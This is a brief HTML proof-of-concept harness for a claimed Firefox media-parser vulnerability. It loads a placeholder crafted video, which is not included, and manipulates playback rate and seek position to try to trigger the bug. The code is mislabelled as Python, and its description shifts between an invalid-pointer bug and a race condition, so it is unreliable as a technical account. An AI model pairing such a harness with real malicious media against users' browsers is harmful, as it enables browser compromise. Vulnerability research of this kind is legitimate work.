The following code is for security research and authorized testing only.
python
<!--
// PoC Concept for CVE-2026-6778
// Description: This HTML file attempts to trigger the invalid pointer vulnerability
// in the Audio/Video component of Firefox < 150 by loading a crafted media file.
-->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-6778 PoC</title>
</head>
<body>
<h1>Testing CVE-2026-6778</h1>
<!-- Replace 'exploit.mp4' with a specifically crafted file causing the invalid pointer -->
<video id="vulnVideo" controls>
<source src="exploit.mp4" type="video/mp4">
Your browser does not support the video tag.
</video>
<script>
const video = document.getElementById('vulnVideo');
// Attempt to stress the parser to trigger the invalid pointer
video.play().catch(e => console.log('Autoplay blocked'));
video.addEventListener('loadeddata', () => {
console.log('Media data loaded, triggering manipulation...');
// Rapid playback manipulation may help trigger the race condition
video.playbackRate = 16.0;
video.currentTime = video.duration - 0.1;
});
video.addEventListener('error', (e) => {
console.log('Error event triggered:', e);
});
</script>
</body>
</html>